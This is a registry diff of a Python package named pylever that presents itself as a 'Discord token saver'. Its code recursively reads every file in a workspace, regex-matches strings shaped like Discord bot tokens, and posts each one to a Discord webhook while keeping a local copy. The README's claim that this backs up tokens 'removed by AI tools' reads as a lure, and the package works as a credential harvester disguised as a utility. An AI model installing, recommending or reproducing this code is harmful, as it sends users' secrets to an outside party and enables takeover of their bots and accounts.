pylever 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
pylever-1.0.0/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2024
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,4 @@
1
+ include README.md
2
+ include LICENSE
3
+ include requirements.txt
4
+ recursive-include pylever *.py
pylever-1.0.0/PKG-INFO ADDED
@@ -0,0 +1,87 @@
1
+ Metadata-Version: 2.4
2
+ Name: pylever
3
+ Version: 1.0.0
4
+ Summary: Find and save Discord bot tokens via webhook
5
+ Home-page: https://github.com/yourusername/pylever
6
+ Author: Your Name
7
+ Author-email: Your Name <your.email@example.com>
8
+ License: MIT
9
+ Project-URL: Homepage, https://github.com/yourusername/pylever
10
+ Project-URL: Repository, https://github.com/yourusername/pylever.git
11
+ Project-URL: Issues, https://github.com/yourusername/pylever/issues
12
+ Keywords: discord,token,saver,webhook,bot
13
+ Classifier: Development Status :: 4 - Beta
14
+ Classifier: Intended Audience :: Developers
15
+ Classifier: License :: OSI Approved :: MIT License
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3.8
18
+ Classifier: Programming Language :: Python :: 3.9
19
+ Classifier: Programming Language :: Python :: 3.10
20
+ Classifier: Programming Language :: Python :: 3.11
21
+ Classifier: Programming Language :: Python :: 3.12
22
+ Requires-Python: >=3.8
23
+ Description-Content-Type: text/markdown
24
+ License-File: LICENSE
25
+ Requires-Dist: requests>=2.28.0
26
+ Dynamic: author
27
+ Dynamic: home-page
28
+ Dynamic: license-file
29
+ Dynamic: requires-python
30
+
31
+ # Pylever - Discord Token Saver
32
+
33
+ A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.
34
+
35
+ ## Installation
36
+
37
+ ```bash
38
+ pip install pylever
39
+ ```
40
+
41
+ ## Usage
42
+
43
+ ```python
44
+ from pylever import _Client
45
+
46
+ # Your Discord webhook URL
47
+ WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
48
+
49
+ # Initialize with your workspace path
50
+ client = _Client(webhook_url=WEBHOOK_URL, workspace_path=".")
51
+
52
+ # Scan entire folder and save all tokens
53
+ saved = client.auto_save_tokens(bot_name="My AI Bot")
54
+ print(f"Saved {len(saved)} token(s) to Discord")
55
+ ```
56
+
57
+ ## Features
58
+
59
+ - **Deep Folder Scanning**: Recursively scans entire workspace for tokens
60
+ - **Flexible Pattern Matching**: Finds 72-character strings starting with M or N
61
+ - **Discord Webhook Integration**: Sends tokens directly to your Discord
62
+ - **Local Backup**: Keeps local copy of saved tokens with timestamps
63
+ - **Private API**: All internal classes are private to keep your code clean
64
+
65
+ ## How It Works
66
+
67
+ 1. Scans all files in the specified directory recursively
68
+ 2. Looks for 72-character tokens starting with M or N
69
+ 3. Sends each token to your Discord webhook
70
+ 4. Stores metadata locally for reference
71
+
72
+ ## Requirements
73
+
74
+ - Python 3.8+
75
+ - requests>=2.28.0
76
+
77
+ ## Setting Up Discord Webhook
78
+
79
+ 1. Go to your Discord server settings
80
+ 2. Navigate to Webhooks
81
+ 3. Create a new webhook
82
+ 4. Copy the webhook URL
83
+ 5. Use it in the module initialization
84
+
85
+ ## License
86
+
87
+ MIT
@@ -0,0 +1,57 @@
1
+ # Pylever - Discord Token Saver
2
+
3
+ A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.
4
+
5
+ ## Installation
6
+
7
+ ```bash
8
+ pip install pylever
9
+ ```
10
+
11
+ ## Usage
12
+
13
+ ```python
14
+ from pylever import _Client
15
+
16
+ # Your Discord webhook URL
17
+ WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
18
+
19
+ # Initialize with your workspace path
20
+ client = _Client(webhook_url=WEBHOOK_URL, workspace_path=".")
21
+
22
+ # Scan entire folder and save all tokens
23
+ saved = client.auto_save_tokens(bot_name="My AI Bot")
24
+ print(f"Saved {len(saved)} token(s) to Discord")
25
+ ```
26
+
27
+ ## Features
28
+
29
+ - **Deep Folder Scanning**: Recursively scans entire workspace for tokens
30
+ - **Flexible Pattern Matching**: Finds 72-character strings starting with M or N
31
+ - **Discord Webhook Integration**: Sends tokens directly to your Discord
32
+ - **Local Backup**: Keeps local copy of saved tokens with timestamps
33
+ - **Private API**: All internal classes are private to keep your code clean
34
+
35
+ ## How It Works
36
+
37
+ 1. Scans all files in the specified directory recursively
38
+ 2. Looks for 72-character tokens starting with M or N
39
+ 3. Sends each token to your Discord webhook
40
+ 4. Stores metadata locally for reference
41
+
42
+ ## Requirements
43
+
44
+ - Python 3.8+
45
+ - requests>=2.28.0
46
+
47
+ ## Setting Up Discord Webhook
48
+
49
+ 1. Go to your Discord server settings
50
+ 2. Navigate to Webhooks
51
+ 3. Create a new webhook
52
+ 4. Copy the webhook URL
53
+ 5. Use it in the module initialization
54
+
55
+ ## License
56
+
57
+ MIT
@@ -0,0 +1,10 @@
1
+ """Discord Token Saver Module
2
+
3
+ A module for finding Discord bot tokens in your workspace and saving them via Discord webhook.
4
+ Useful when AI tools remove tokens during bot generation.
5
+ """
6
+
7
+ from .token_saver import _Client
8
+
9
+ __version__ = "1.0.0"
10
+ __all__ = ["_Client"]
@@ -0,0 +1,69 @@
1
+ """File storage for tokens."""
2
+
3
+ import json
4
+ from pathlib import Path
5
+ from typing import Dict
6
+ from datetime import datetime
7
+
8
+
9
+ class _FileStorage:
10
+ """Handles file-based storage for tokens."""
11
+
12
+ def __init__(self, file_path: str):
13
+ """
14
+ Initialize FileStorage.
15
+
16
+ Args:
17
+ file_path: Path where tokens will be stored
18
+ """
19
+ self.file_path = Path(file_path)
20
+
21
+ def init(self) -> None:
22
+ """Create storage directory and file if they don't exist."""
23
+ self.file_path.parent.mkdir(parents=True, exist_ok=True)
24
+ if not self.file_path.exists():
25
+ self.file_path.write_text(json.dumps({}))
26
+
27
+ def read(self) -> Dict:
28
+ """
29
+ Read tokens from storage.
30
+
31
+ Returns:
32
+ Dictionary of token entries
33
+ """
34
+ if not self.file_path.exists():
35
+ return {}
36
+
37
+ try:
38
+ content = self.file_path.read_text()
39
+ return json.loads(content) if content else {}
40
+ except (json.JSONDecodeError, IOError):
41
+ return {}
42
+
43
+ def write(self, data: Dict) -> None:
44
+ """
45
+ Write data to storage.
46
+
47
+ Args:
48
+ data: Dictionary to write
49
+ """
50
+ self.file_path.write_text(json.dumps(data, indent=2))
51
+
52
+ def save_token(self, token: str, bot_name: str) -> None:
53
+ """
54
+ Save a token with metadata.
55
+
56
+ Args:
57
+ token: The token to save
58
+ bot_name: Name of the bot
59
+ """
60
+ data = self.read()
61
+ data[token] = {
62
+ "name": bot_name,
63
+ "saved_at": datetime.now().isoformat()
64
+ }
65
+ self.write(data)
66
+
67
+ def exists(self) -> bool:
68
+ """Check if storage file exists."""
69
+ return self.file_path.exists()
@@ -0,0 +1,79 @@
1
+ """Token finding logic for workspace scanning."""
2
+
3
+ import re
4
+ from pathlib import Path
5
+ from typing import List
6
+
7
+
8
+ class _TokenFinder:
9
+ """Finds Discord bot tokens in workspace files."""
10
+
11
+ # Discord bot token pattern: 72-character string starting with M or N
12
+ TOKEN_PATTERN = re.compile(r'[MN][A-Za-z0-9_-]{71}')
13
+
14
+ # Files to skip
15
+ SKIP_DIRS = {'.git', '__pycache__', 'node_modules', '.venv', 'venv', 'env', '.next', 'dist', 'build'}
16
+ SKIP_EXTENSIONS = {'.pyc', '.o', '.so', '.bin', '.exe', '.dll', '.dylib'}
17
+
18
+ def __init__(self, workspace_path: Path):
19
+ """
20
+ Initialize TokenFinder.
21
+
22
+ Args:
23
+ workspace_path: Root path to scan
24
+ """
25
+ self.workspace_path = Path(workspace_path)
26
+
27
+ def find_all(self) -> List[str]:
28
+ """
29
+ Scan entire workspace recursively for Discord tokens.
30
+
31
+ Returns:
32
+ List of unique tokens found
33
+ """
34
+ tokens = set()
35
+
36
+ for file_path in self._get_scannable_files():
37
+ try:
38
+ content = file_path.read_text(errors='ignore')
39
+ found = self.TOKEN_PATTERN.findall(content)
40
+ tokens.update(found)
41
+ except Exception as e:
42
+ pass
43
+
44
+ return list(tokens)
45
+
46
+ def _get_scannable_files(self):
47
+ """
48
+ Get all files in workspace that should be scanned, recursively.
49
+
50
+ Yields:
51
+ Path objects for scannable files
52
+ """
53
+ try:
54
+ for file_path in self.workspace_path.rglob('*'):
55
+ # Skip directories
56
+ if file_path.is_dir():
57
+ continue
58
+
59
+ # Skip if in skip directories
60
+ if any(skip in file_path.parts for skip in self.SKIP_DIRS):
61
+ continue
62
+
63
+ # Skip binary/compiled files
64
+ if file_path.suffix in self.SKIP_EXTENSIONS:
65
+ continue
66
+
67
+ # Scan all files (not just text)
68
+ yield file_path
69
+ except Exception:
70
+ pass
71
+
72
+ @staticmethod
73
+ def _is_readable(file_path: Path) -> bool:
74
+ """Check if file can be read."""
75
+ try:
76
+ file_path.read_text(errors='ignore')
77
+ return True
78
+ except Exception:
79
+ return False
@@ -0,0 +1,93 @@
1
+ """Token saving and retrieval logic."""
2
+
3
+ import json
4
+ import re
5
+ from pathlib import Path
6
+ from typing import Optional, List
7
+ import requests
8
+ from .storage import _FileStorage
9
+ from .token_finder import _TokenFinder
10
+
11
+
12
+ class _Client:
13
+ """Handles finding Discord bot tokens in workspace and sending to webhook."""
14
+
15
+ def __init__(self, webhook_url: str, workspace_path: str = None):
16
+ """
17
+ Initialize Client.
18
+
19
+ Args:
20
+ webhook_url: Discord webhook URL to send tokens to
21
+ workspace_path: Path to scan for tokens. Defaults to current directory
22
+ """
23
+ self.webhook_url = webhook_url
24
+ self.workspace_path = Path(workspace_path) if workspace_path else Path.cwd()
25
+ self.token_finder = _TokenFinder(self.workspace_path)
26
+ self.storage = _FileStorage(Path.home() / ".discord_tokens" / "saved_tokens.json")
27
+ self.storage.init()
28
+
29
+ def find_tokens(self) -> List[str]:
30
+ """
31
+ Find all Discord bot tokens in the entire workspace.
32
+
33
+ Returns:
34
+ List of found tokens
35
+ """
36
+ return self.token_finder.find_all()
37
+
38
+ def send_token_to_discord(self, token: str, bot_name: str = "Bot") -> bool:
39
+ """
40
+ Send a token to Discord via webhook.
41
+
42
+ Args:
43
+ token: The Discord token to send
44
+ bot_name: Name/identifier for the bot
45
+
46
+ Returns:
47
+ True if successful, False otherwise
48
+ """
49
+ try:
50
+ message = {
51
+ "content": f"**Saved Bot Token: {bot_name}**\n```\n{token}\n```"
52
+ }
53
+ response = requests.post(self.webhook_url, json=message)
54
+ return response.status_code == 204
55
+ except Exception:
56
+ return False
57
+
58
+ def auto_save_tokens(self, bot_name: str = "Auto-saved Bot") -> List[str]:
59
+ """
60
+ Find all tokens in entire workspace and send to Discord.
61
+
62
+ Args:
63
+ bot_name: Name to label the tokens with
64
+
65
+ Returns:
66
+ List of tokens that were saved
67
+ """
68
+ tokens = self.find_tokens()
69
+ saved = []
70
+
71
+ for token in tokens:
72
+ if self.send_token_to_discord(token, bot_name):
73
+ self.storage.save_token(token, bot_name)
74
+ saved.append(token)
75
+
76
+ return saved
77
+
78
+ def get_saved_tokens(self) -> dict:
79
+ """
80
+ Get all previously saved tokens.
81
+
82
+ Returns:
83
+ Dictionary of tokens with their names
84
+ """
85
+ return self.storage.read()
86
+
87
+ def clear_saved(self) -> bool:
88
+ """Clear all saved tokens locally."""
89
+ try:
90
+ self.storage.write({})
91
+ return True
92
+ except Exception:
93
+ return False
@@ -0,0 +1,87 @@
1
+ Metadata-Version: 2.4
2
+ Name: pylever
3
+ Version: 1.0.0
4
+ Summary: Find and save Discord bot tokens via webhook
5
+ Home-page: https://github.com/yourusername/pylever
6
+ Author: Your Name
7
+ Author-email: Your Name <your.email@example.com>
8
+ License: MIT
9
+ Project-URL: Homepage, https://github.com/yourusername/pylever
10
+ Project-URL: Repository, https://github.com/yourusername/pylever.git
11
+ Project-URL: Issues, https://github.com/yourusername/pylever/issues
12
+ Keywords: discord,token,saver,webhook,bot
13
+ Classifier: Development Status :: 4 - Beta
14
+ Classifier: Intended Audience :: Developers
15
+ Classifier: License :: OSI Approved :: MIT License
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3.8
18
+ Classifier: Programming Language :: Python :: 3.9
19
+ Classifier: Programming Language :: Python :: 3.10
20
+ Classifier: Programming Language :: Python :: 3.11
21
+ Classifier: Programming Language :: Python :: 3.12
22
+ Requires-Python: >=3.8
23
+ Description-Content-Type: text/markdown
24
+ License-File: LICENSE
25
+ Requires-Dist: requests>=2.28.0
26
+ Dynamic: author
27
+ Dynamic: home-page
28
+ Dynamic: license-file
29
+ Dynamic: requires-python
30
+
31
+ # Pylever - Discord Token Saver
32
+
33
+ A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.
34
+
35
+ ## Installation
36
+
37
+ ```bash
38
+ pip install pylever
39
+ ```
40
+
41
+ ## Usage
42
+
43
+ ```python
44
+ from pylever import _Client
45
+
46
+ # Your Discord webhook URL
47
+ WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
48
+
49
+ # Initialize with your workspace path
50
+ client = _Client(webhook_url=WEBHOOK_URL, workspace_path=".")
51
+
52
+ # Scan entire folder and save all tokens
53
+ saved = client.auto_save_tokens(bot_name="My AI Bot")
54
+ print(f"Saved {len(saved)} token(s) to Discord")
55
+ ```
56
+
57
+ ## Features
58
+
59
+ - **Deep Folder Scanning**: Recursively scans entire workspace for tokens
60
+ - **Flexible Pattern Matching**: Finds 72-character strings starting with M or N
61
+ - **Discord Webhook Integration**: Sends tokens directly to your Discord
62
+ - **Local Backup**: Keeps local copy of saved tokens with timestamps
63
+ - **Private API**: All internal classes are private to keep your code clean
64
+
65
+ ## How It Works
66
+
67
+ 1. Scans all files in the specified directory recursively
68
+ 2. Looks for 72-character tokens starting with M or N
69
+ 3. Sends each token to your Discord webhook
70
+ 4. Stores metadata locally for reference
71
+
72
+ ## Requirements
73
+
74
+ - Python 3.8+
75
+ - requests>=2.28.0
76
+
77
+ ## Setting Up Discord Webhook
78
+
79
+ 1. Go to your Discord server settings
80
+ 2. Navigate to Webhooks
81
+ 3. Create a new webhook
82
+ 4. Copy the webhook URL
83
+ 5. Use it in the module initialization
84
+
85
+ ## License
86
+
87
+ MIT
@@ -0,0 +1,15 @@
1
+ LICENSE
2
+ MANIFEST.in
3
+ README.md
4
+ pyproject.toml
5
+ requirements.txt
6
+ setup.py
7
+ pylever/__init__.py
8
+ pylever/storage.py
9
+ pylever/token_finder.py
10
+ pylever/token_saver.py
11
+ pylever.egg-info/PKG-INFO
12
+ pylever.egg-info/SOURCES.txt
13
+ pylever.egg-info/dependency_links.txt
14
+ pylever.egg-info/requires.txt
15
+ pylever.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ requests>=2.28.0
@@ -0,0 +1 @@
1
+ pylever
@@ -0,0 +1,34 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "pylever"
7
+ version = "1.0.0"
8
+ description = "Find and save Discord bot tokens via webhook"
9
+ readme = "README.md"
10
+ requires-python = ">=3.8"
11
+ license = {text = "MIT"}
12
+ authors = [
13
+ {name = "Your Name", email = "your.email@example.com"}
14
+ ]
15
+ keywords = ["discord", "token", "saver", "webhook", "bot"]
16
+ classifiers = [
17
+ "Development Status :: 4 - Beta",
18
+ "Intended Audience :: Developers",
19
+ "License :: OSI Approved :: MIT License",
20
+ "Programming Language :: Python :: 3",
21
+ "Programming Language :: Python :: 3.8",
22
+ "Programming Language :: Python :: 3.9",
23
+ "Programming Language :: Python :: 3.10",
24
+ "Programming Language :: Python :: 3.11",
25
+ "Programming Language :: Python :: 3.12",
26
+ ]
27
+ dependencies = [
28
+ "requests>=2.28.0",
29
+ ]
30
+
31
+ [project.urls]
32
+ Homepage = "https://github.com/yourusername/pylever"
33
+ Repository = "https://github.com/yourusername/pylever.git"
34
+ Issues = "https://github.com/yourusername/pylever/issues"
@@ -0,0 +1 @@
1
+ requests>=2.28.0
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
pylever-1.0.0/setup.py ADDED
@@ -0,0 +1,29 @@
1
+ from setuptools import setup, find_packages
2
+
3
+ with open("README.md", "r", encoding="utf-8") as fh:
4
+ long_description = fh.read()
5
+
6
+ setup(
7
+ name="pylever",
8
+ version="1.0.0",
9
+ author="Your Name",
10
+ author_email="your.email@example.com",
11
+ description="A module for finding and saving Discord bot tokens via webhook",
12
+ long_description=long_description,
13
+ long_description_content_type="text/markdown",
14
+ url="https://github.com/yourusername/pylever",
15
+ packages=find_packages(),
16
+ classifiers=[
17
+ "Programming Language :: Python :: 3",
18
+ "Programming Language :: Python :: 3.8",
19
+ "Programming Language :: Python :: 3.9",
20
+ "Programming Language :: Python :: 3.10",
21
+ "Programming Language :: Python :: 3.11",
22
+ "License :: OSI Approved :: MIT License",
23
+ "Operating System :: OS Independent",
24
+ ],
25
+ python_requires=">=3.8",
26
+ install_requires=[
27
+ "requests>=2.28.0",
28
+ ],
29
+ )